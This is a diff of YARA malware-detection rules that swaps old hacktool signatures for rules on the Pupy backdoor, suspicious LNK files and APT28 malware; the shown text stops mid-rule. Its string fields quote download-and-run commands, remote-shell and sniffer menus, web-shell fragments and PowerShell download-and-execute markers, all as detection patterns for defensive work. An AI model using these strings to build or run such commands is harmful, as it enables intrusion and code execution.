-		$s0 = "param = \"driver={Microsoft Access Driver (*.mdb)}\" " fullword ascii
-		$s1 = "conn.Open param & \";dbq=\" & Server.MapPath(\"scjh.mdb\") " fullword ascii
-		$s6 = "set rs=conn.execute (sql)%> " fullword ascii
-		$s7 = "<%set Conn = Server.CreateObject(\"ADODB.Connection\") " fullword ascii
-		$s10 = "<%dim ktdh,scph,scts,jhqtsj,yhxdsj,yxj,rwbh " fullword ascii
-		$s15 = "sql=\"select * from scjh\" " fullword ascii
+		$op1 = { 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 85 C0 }
+		$op2 = { 48 8B C8 48 8D 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 45 33 C0 4C 8D 4D ?? B2 01 41 8D 48 ?? FF D0}
+		$op3 = { 33 FF C7 44 24 ?? 38 02 00 00 33 D2 8D 4F ?? FF 15 ?? ?? ?? ?? 48 8B D8 48 83 F8 FF 74 ?? 48 8D 54 24 ?? 48 8B C8 FF 15 }
+		$op4 = { 4C 8D 05 ?? ?? ?? ?? 48 89 4C 24 ?? 4C 8B C8 33 D2 89 4C 24 ?? FF 15 }
 
 	condition:
 		all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_QQ_Zip_Folder_QQ
+rule SIGNATURE_BASE_Pupy_Backdoor : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file QQ.exe"
+		description = "Detects Pupy backdoor"
 		author = "Florian Roth (Nextron Systems)"
-		id = "30da6292-f670-5b73-985a-3028e20607be"
-		date = "2014-11-23"
+		id = "11509847-3454-5412-b3e1-02ad9cccc6ae"
+		date = "2017-08-11"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2019-L2039"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "9f8e3f40f1ac8c1fa15a6621b49413d815f46cfb"
-		logic_hash = "d2517c3646b9a3babfa767c5c57b4b576fda471c190ab66e1054c4de359713ad"
-		score = 60
-		quality = 35
-		tags = ""
+		reference = "https://github.com/n1nj4sec/pupy-binaries"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_pupy_rat.yar#L13-L44"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "0b12376c9cddc71f584314b07fb29fac189349b526c6d5028f475fa3984401ae"
+		score = 75
+		quality = 85
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "ae93714203c7ab4ab73f2ad8364819d16644c7649ea04f483b46924bd5bc0153"
+		hash2 = "83380f351214c3bd2c8e62430f70f8f90d11c831695027f329af04806b9f8ea4"
+		hash3 = "90757c1ae9597bea39bb52a38fb3d497358a2499c92c7636d71b95ec973186cc"
+		hash4 = "20e19817f72e72f87c794843d46c55f2b8fd091582bceca0460c9f0640c7bbd8"
+		hash5 = "06bb41c12644ca1761bcb3c14767180b673cb9d9116b555680073509e7063c3e"
+		hash6 = "be83c513b24468558dc7df7f63d979af41287e568808ed8f807706f6992bfab2"
+		hash7 = "8784c317e6977b4c201393913e76fc11ec34ea657de24e957d130ce9006caa01"
 
 	strings:
-		$s0 = "EMAIL:haoq@neusoft.com" fullword wide
-		$s1 = "EMAIL:haoq@neusoft.com" fullword wide
-		$s4 = "QQ2000b.exe" fullword wide
-		$s5 = "haoq@neusoft.com" fullword ascii
-		$s9 = "QQ2000b.exe" fullword ascii
-		$s10 = "\\qq2000b.exe" ascii
-		$s12 = "WINDSHELL STUDIO[WINDSHELL " fullword wide
-		$s17 = "SOFTWARE\\HAOQIANG\\" ascii
+		$x1 = "reflectively inject a dll into a process." fullword ascii
+		$x2 = "ld_preload_inject_dll(cmdline, dll_buffer, hook_exit) -> pid" fullword ascii
+		$x3 = "LD_PRELOAD=%s HOOK_EXIT=%d CLEANUP=%d exec %s 1>/dev/null 2>/dev/null" fullword ascii
+		$x4 = "reflective_inject_dll" fullword ascii
+		$x5 = "ld_preload_inject_dll" fullword ascii
+		$x6 = "get_pupy_config() -> string" fullword ascii
+		$x7 = "[INJECT] inject_dll. OpenProcess failed." fullword ascii
+		$x8 = "reflective_inject_dll" fullword ascii
+		$x9 = "reflective_inject_dll(pid, dll_buffer, isRemoteProcess64bits)" fullword ascii
+		$x10 = "linux_inject_main" fullword ascii
 
 	condition:
-		5 of them
+		(( uint16(0)==0x457f or uint16(0)==0x5a4d) and filesize <7000KB and 1 of them ) or 3 of them or ( uint16(0)==0x5a4d and pe.imphash()=="84a69bce2ff6d9f866b7ae63bd70b163")
 }
-import "pe"
-
-rule SIGNATURE_BASE_Unpack_Rar_Folder_Tback
+rule SIGNATURE_BASE_SUSP_LNK_Lnkfileoverrfc : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file TBack.DLL"
-		author = "Florian Roth (Nextron Systems)"
-		id = "f672f987-0d43-53df-8338-084907b6da16"
-		date = "2014-11-23"
+		description = "Detects APT lnk files that run double extraction and launch routines with autoruns"
+		author = "@Grotezinfosec, modified by Florian Roth"
+		id = "19c393af-ff7c-5345-a3ef-c06372344baf"
+		date = "2018-09-18"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2041-L2069"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "30fc9b00c093cec54fcbd753f96d0ca9e1b2660f"
-		logic_hash = "89f978742ab952b727a9a8dbab0cd88cfc07440e8c4f974dcfa14ed630083761"
-		score = 60
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_lnk_files.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "52ff949a17039c1fa5707ff503aa1a96b3925bdfef01867c9b59a8d72493a84e"
+		score = 65
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s0 = "Redirect SPort RemoteHost RPort       -->Port Redirector" fullword ascii
-		$s1 = "http://IP/a.exe a.exe                 -->Download A File" fullword ascii
-		$s2 = "StopSniffer                           -->Stop Pass Sniffer" fullword ascii
-		$s3 = "TerminalPort Port                     -->Set New Terminal Port" fullword ascii
-		$s4 = "Example: Http://12.12.12.12/a.exe abc.exe" fullword ascii
-		$s6 = "Create Password Sniffering Thread Successfully. Status:Logging" fullword ascii
-		$s7 = "StartSniffer NIC                      -->Start Sniffer" fullword ascii
-		$s8 = "Shell                                 -->Get A Shell" fullword ascii
-		$s11 = "DeleteService ServiceName             -->Delete A Service" fullword ascii
-		$s12 = "Disconnect ThreadNumber|All           -->Disconnect Others" fullword ascii
-		$s13 = "Online                                -->List All Connected IP" fullword ascii
-		$s15 = "Getting The UserName(%c%s%c)-->ID(0x%s) Successfully" fullword ascii
-		$s16 = "Example: Set REG_SZ Test Trojan.exe" fullword ascii
-		$s18 = "Execute Program                       -->Execute A Program" fullword ascii
-		$s19 = "Reboot                                -->Reboot The System" fullword ascii
-		$s20 = "Password Sniffering Is Not Running" fullword ascii
+		$command = "C:\\Windows\\System32\\cmd.exe" fullword ascii
+		$command2 = {2F 00 63 00 20 00 66 00 69 00 6E 00 64 00 73 00 74 00 72}
+		$base64 = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD" ascii
+		$cert = " -decode " ascii
 
 	condition:
-		4 of them
+		uint16(0)==0x004c and uint32(4)==0x00021401 and filesize >15KB and (2 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Sig_238_Cmd_2
+rule SIGNATURE_BASE_SUSP_LNK_Suspiciouscommands : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file cmd.jsp"
+		description = "Detects LNK file with suspicious content"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5fae3c4a-aeeb-5e02-9071-3980a39a19a9"
-		date = "2014-11-23"
+		id = "8bfb1322-8e33-50bc-a389-2d8bdfec9ca7"
+		date = "2018-09-18"
 		modified = "2023-12-05"
 		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2071-L2088"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "be4073188879dacc6665b6532b03db9f87cfc2bb"
-		logic_hash = "a794d6b60194a190bd8d549ad00cf90649a52d831fdc7539c68a1f6312609bc2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_lnk_files.yar#L20-L51"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a0380927ebc89e46f9138e01f154113c5e23680cea9b117b47406003ea565c1e"
 		score = 60
-		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$s0 = "Process child = Runtime.getRuntime().exec(" ascii
-		$s1 = "InputStream in = child.getInputStream();" fullword ascii
-		$s2 = "String cmd = request.getParameter(\"" ascii
-		$s3 = "while ((c = in.read()) != -1) {" fullword ascii
-		$s4 = "<%@ page import=\"java.io.*\" %>" fullword ascii
+		$s1 = " -decode " ascii wide
+		$s2 = " -enc " ascii wide
+		$s3 = " -w hidden " ascii wide
+		$s4 = " -ep bypass " ascii wide
+		$s5 = " -noni " ascii nocase wide
+		$s7 = " -noprofile " ascii wide
+		$s8 = ".DownloadString(" ascii wide
+		$s9 = ".DownloadFile(" ascii wide
+		$s10 = "IEX(" ascii wide
+		$s11 = "iex(" ascii wide
+		$s12 = "WScript.shell" ascii wide fullword nocase
+		$s13 = " -nop " ascii wide
+		$s14 = "&tasklist>"
+		$s15 = "setlocal EnableExtensions DisableDelayedExpansion"
+		$s16 = "echo^ set^"
+		$s17 = "del /f /q "
+		$s18 = " echo | start "
+		$s19 = "&& echo "
+		$s20 = "&&set "
+		$s21 = "%&&@echo off "
 
 	condition:
-		all of them
+		uint16(0)==0x004c and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Rangescan
+rule SIGNATURE_BASE_SUSP_DOC_LNK_In_ZIP : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file RangeScan.exe"
+		description = "Detects suspicious .doc.lnk file in ZIP archive"
 		author = "Florian Roth (Nextron Systems)"
-		id = "143d9e1e-41e2-579a-beee-30da2cf068f7"
-		date = "2014-11-23"
+		id = "9c140d02-3b18-5faf-bb1d-2eb5c07a23dc"
+		date = "2019-07-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2090-L2107"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "bace2c65ea67ac4725cb24aa9aee7c2bec6465d7"
-		logic_hash = "f334a59c2d95505807df642a8d5605b1b7d8b3385a552e8f5a37f344d7a75412"
-		score = 60
-		quality = 35
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://twitter.com/RedDrip7/status/1145877272945025029"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_lnk_files.yar#L53-L66"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ef4cdaad05af12f210aa6324a1e34a42843f814c59fb0085ac18370917ad4866"
+		score = 50
+		quality = 85
+		tags = "FILE"
+		hash1 = "7ea4f77cac557044e72a8e280372a2abe072f2ad98b5a4fbed4e2229e780173a"
 
 	strings:
-		$s0 = "RangeScan.EXE" fullword wide
-		$s4 = "<br><p align=\"center\"><b>RangeScan " fullword ascii
-		$s9 = "Produced by isn0" fullword ascii
-		$s10 = "RangeScan" fullword wide
-		$s20 = "%d-%d-%d %d:%d:%d" fullword ascii
+		$s1 = ".doc.lnk" fullword ascii
 
 	condition:
-		3 of them
+		uint16(0)==0x4b50 and 1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Xyzcmd_Zip_Folder_Readme
+rule SIGNATURE_BASE_Teledoor_Backdoor : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Readme.txt"
+		description = "Detects the TeleDoor Backdoor as used in Petya Attack in June 2017"
 		author = "Florian Roth (Nextron Systems)"
-		id = "cee0f8c3-f947-50a5-ae8c-4ce83ef5e433"
-		date = "2014-11-23"
+		id = "ba9b4415-427e-5a13-b743-bed225d86db8"
+		date = "2017-07-05"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2109-L2123"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "967cb87090acd000d22e337b8ce4d9bdb7c17f70"
-		logic_hash = "38d69eee78ff8fa2ad064871481bd1b8a926146922952c7e199d27c809d0c980"
-		score = 60
+		reference = "https://goo.gl/CpfJQQ"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_teledoor.yar#L11-L31"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "785360fa19a61a547309fc7a8968c94d4887be001c6a66b41c7adb9dcd13cb82"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "d462966166450416d6addd3bfdf48590f8440dd80fc571a389023b7c860ca3ac"
+		hash2 = "f9d6fe8bd8aca6528dec7eaa9f1aafbecde15fd61668182f2ba8a7fc2b9a6740"
+		hash3 = "2fd2863d711a1f18eeee5c7c82f2349c5d4e00465de9789da837fcdca4d00277"
 
 	strings:
-		$s3 = "3.xyzcmd \\\\RemoteIP /user:Administrator /pwd:1234 /nowait trojan.exe" fullword ascii
-		$s20 = "XYZCmd V1.0" fullword ascii
+		$c1 = { 50 61 79 6C 6F 61 64 00 41 75 74 6F 50 61 79 6C 6F 61 64 }
+		$c2 = { 52 75 6E 43 6D 64 00 44 75 6D 70 44 61 74 61 }
+		$c3 = { 00 5A 76 69 74 57 65 62 43 6C 69 65 6E 74 45 78 74 00 4D 69 6E 49 6E 66 6F }
 
 	condition:
-		all of them
+		( uint16(0)==0x5a4d and filesize <15000KB and 2 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_Bypassfirewall_Zip_Folder_Inject
+rule SIGNATURE_BASE_MAL_Devilstongue_Hijackdll : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Inject.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "bb31dc53-f3c1-5f8b-84f9-c231a4e1675b"
-		date = "2014-11-23"
+		description = "Detects SOURGUM's DevilsTongue hijack DLL"
+		author = "Microsoft Threat Intelligence Center (MSTIC)"
+		id = "390b8b73-6740-513d-8c70-c9002be0ce69"
+		date = "2021-07-15"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2125-L2140"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "34f564301da528ce2b3e5907fd4b1acb7cb70728"
-		logic_hash = "6350e11097bc2bb8fb0fbecf6be463aeaf39ad4169d2dd06a57577bf02b515f8"
-		score = 60
+		reference = "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_candiru.yar#L3-L47"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4ad58a77f9ab5fa078dc40f3ec1d0b0180f25ff3ea304a3c85889df29739e0f5"
+		score = 80
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
 
 	strings:
-		$s6 = "Fail To Inject" fullword ascii
-		$s7 = "BtGRemote Pro; V1.5 B/{" fullword ascii
-		$s11 = " Successfully" fullword ascii
+		$str1 = "windows.old\\windows" wide
+		$str2 = "NtQueryInformationThread"
+		$str3 = "dbgHelp.dll" wide
+		$str4 = "StackWalk64"
+		$str5 = "ConvertSidToStringSidW"
+		$str6 = "S-1-5-18" wide
+		$str7 = "SMNew.dll"
+		$code1 = { B8 FF 15 00 00 66 39 41 FA 74 06 80 79 FB E8 }
+		$code2 = { 44 8B C0 B8 B5 81 4E 1B 41 F7 E8 C1 FA 05 8B CA C1 E9 1F 03 D1 69 CA 2C 01 00 00 44 2B C1 45 85 C0 7E 19 }
 
 	condition:
-		all of them
+		filesize <800KB and uint16(0)==0x5A4D and (pe.characteristics&pe.DLL) and (4 of them or ($code1 and $code2) or pe.imphash()=="9a964e810949704ff7b4a393d9adda60")
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_Sqlcmd
+rule SIGNATURE_BASE_APT28_CHOPSTICK : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file sqlcmd.exe"
+		description = "Detects a malware that behaves like CHOPSTICK mentioned in APT28 report"
 		author = "Florian Roth (Nextron Systems)"
-		id = "0efdfac7-5a89-5251-b583-12b0a58c48ff"
-		date = "2014-11-23"
+		id = "08bc4cc2-1844-5218-bb89-20a3ac70a951"
+		date = "2015-06-02"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2142-L2161"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6e356ce6ca5b3c932fa6028d206b1085a2e1a9a"
-		logic_hash = "1e41c38da7552d6a25c918547a39ed07ec38a537fd04e2090d1199c4fb0e3b1e"
-		score = 40
+		reference = "https://goo.gl/v3ebal"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L10-L32"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "f4db2e0881f83f6a2387ecf446fcb4a4c9f99808"
+		logic_hash = "750b2d5157856e0ffd840406eec601ded51ced7ccb20b577f336bbaf32681835"
+		score = 60
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Permission denial to EXEC command.:(" ascii
-		$s3 = "by Eyas<cooleyas@21cn.com>" fullword ascii
-		$s4 = "Connect to %s MSSQL server success.Enjoy the shell.^_^" fullword ascii
-		$s5 = "Usage: %s <host> <uid> <pwd>" fullword ascii
-		$s6 = "SqlCmd2.exe Inside Edition." fullword ascii
-		$s7 = "Http://www.patching.net  2000/12/14" fullword ascii
-		$s11 = "Example: %s 192.168.0.1 sa \"\"" fullword ascii
+		$s0 = "jhuhugit.tmp" fullword ascii
+		$s8 = "KERNEL32.dll" fullword ascii
+		$s9 = "IsDebuggerPresent" fullword ascii
+		$s10 = "IsProcessorFeaturePresent" fullword ascii
+		$s11 = "TerminateProcess" fullword ascii
+		$s13 = "DeleteFileA" fullword ascii
+		$s15 = "GetProcessHeap" fullword ascii
+		$s16 = "!This program cannot be run in DOS mode." fullword ascii
+		$s17 = "LoadLibraryA" fullword ascii
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <722KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Aspack_ASPACK
+rule SIGNATURE_BASE_APT28_Sourface_Malware1 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file ASPACK.EXE"
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
 		author = "Florian Roth (Nextron Systems)"
-		id = "ca9a25f9-a94b-5e10-b935-c6e2d38d999c"
-		date = "2014-11-23"
+		id = "d4275b8d-384f-58b7-bac5-05fb7db659e2"
+		date = "2015-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2163-L2178"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "c589e6fd48cfca99d6335e720f516e163f6f3f42"
-		logic_hash = "1c7abc0a126ee8c8b20e55ad85974067f1a230efc5f95a1a1e732025e39d5bab"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L34-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2ec1e5db74b5abe1da0d454b5e901bd808a0be318235f25d713cfdc4aea8d6d7"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
+		hash2 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
 
 	strings:
-		$s0 = "ASPACK.EXE" fullword wide
-		$s5 = "CLOSEDFOLDER" fullword wide
-		$s10 = "ASPack compressor" fullword wide
+		$s0 = "coreshell.dll" fullword wide
+		$s1 = "Core Shell Runtime Service" fullword wide
+		$s2 = "\\chkdbg.log" wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <62KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_2323
+rule SIGNATURE_BASE_APT28_Sourface_Malware2 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file 2323.exe"
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
 		author = "Florian Roth (Nextron Systems)"
-		id = "445f6a49-51e6-5eb8-ae08-e5989aafb6c4"
-		date = "2014-11-23"
+		id = "8a9df742-82c1-56bb-ab70-6384403f70b5"
+		date = "2015-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2180-L2198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "21812186a9e92ee7ddc6e91e4ec42991f0143763"
-		logic_hash = "1278c53f64a0ba7f3f6a728237eac6808b260ad36551923276bfba9b36586870"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L52-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ed0424e61ca3243241e32d4f744398d263d7e35de15d94e9c6f816dc7349c267"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		super_rule = 1
+		hash0 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash1 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash2 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash3 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash4 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash5 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
 
 	strings:
-		$s0 = "port - Port to listen on, defaults to 2323" fullword ascii
-		$s1 = "Usage: srvcmd.exe [/h] [port]" fullword ascii
-		$s3 = "Failed to execute shell" fullword ascii
-		$s5 = "/h   - Hide Window" fullword ascii
-		$s7 = "Accepted connection from client at %s" fullword ascii
-		$s9 = "Error %d: %s" fullword ascii
+		$s0 = "coreshell.dll" fullword ascii
+		$s1 = "Applicate" fullword ascii
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <550KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Jc_ALL_Wineggdropshell_Rar_Folder_Install_2
+rule SIGNATURE_BASE_APT28_Sourface_Malware3 : FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file Install.exe"
+		description = "Detects Malware from APT28 incident - SOURFACE is a downloader that obtains a second-stage backdoor from a C2 server."
 		author = "Florian Roth (Nextron Systems)"
-		id = "ebfc8e53-328c-5deb-bf9b-e0270f171c68"
-		date = "2014-11-23"
+		id = "b49843b9-3a54-5525-958e-ac545cc00bde"
+		date = "2015-06-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2200-L2218"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "95866e917f699ee74d4735300568640ea1a05afd"
-		logic_hash = "9c12e8491918a656e37b4ee6c3a42ec970cb6cf101ca5fe3fdfe9eab16526219"
+		reference = "https://www.fireeye.com/blog/threat-research/2014/10/apt28-a-window-into-russias-cyber-espionage-operations.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28.yar#L74-L98"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "894fc2913cf1fa8aecb3052e762d4403124fcbdb2148edb23a9117c2f2b8eddc"
 		score = 60
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		super_rule = 1
+		hash0 = "85522190958c82589fa290c0835805f3d9a2f8d6"
+		hash1 = "d9c53adce8c35ec3b1e015ec8011078902e6800b"
+		hash2 = "367d40465fd1633c435b966fa9b289188aa444bc"
+		hash3 = "d87b310aa81ae6254fff27b7d57f76035f544073"
+		hash4 = "cf3220c867b81949d1ce2b36446642de7894c6dc"
+		hash5 = "ed48ef531d96e8c7360701da1c57e2ff13f12405"
+		hash6 = "682e49efa6d2549147a21993d64291bfa40d815a"
+		hash7 = "a8551397e1f1a2c0148e6eadcb56fa35ee6009ca"
+		hash8 = "f5b3e98c6b5d65807da66d50bd5730d35692174d"
+		hash9 = "e2450dffa675c61aa43077b25b12851a910eeeb6"
 
 	strings:
-		$s1 = "http://go.163.com/sdemo" fullword wide
-		$s2 = "Player.tmp" fullword ascii
-		$s3 = "Player.EXE" fullword wide
-		$s4 = "mailto:sdemo@263.net" fullword ascii
-		$s5 = "S-Player.exe" fullword ascii
-		$s9 = "http://www.BaiXue.net (" wide
+		$s0 = "coreshell.dll" fullword wide
+		$s1 = "Core Shell Runtime Service" fullword wide
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <550KB and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Sig_238_TFTPD32
+rule SIGNATURE_BASE_APT28_Skinnyboy_Dropper : RUSSIA FILE
 {
 	meta:
-		description = "Disclosed hacktool set (old stuff) - file TFTPD32.EXE"
-		author = "Florian Roth (Nextron Systems)"
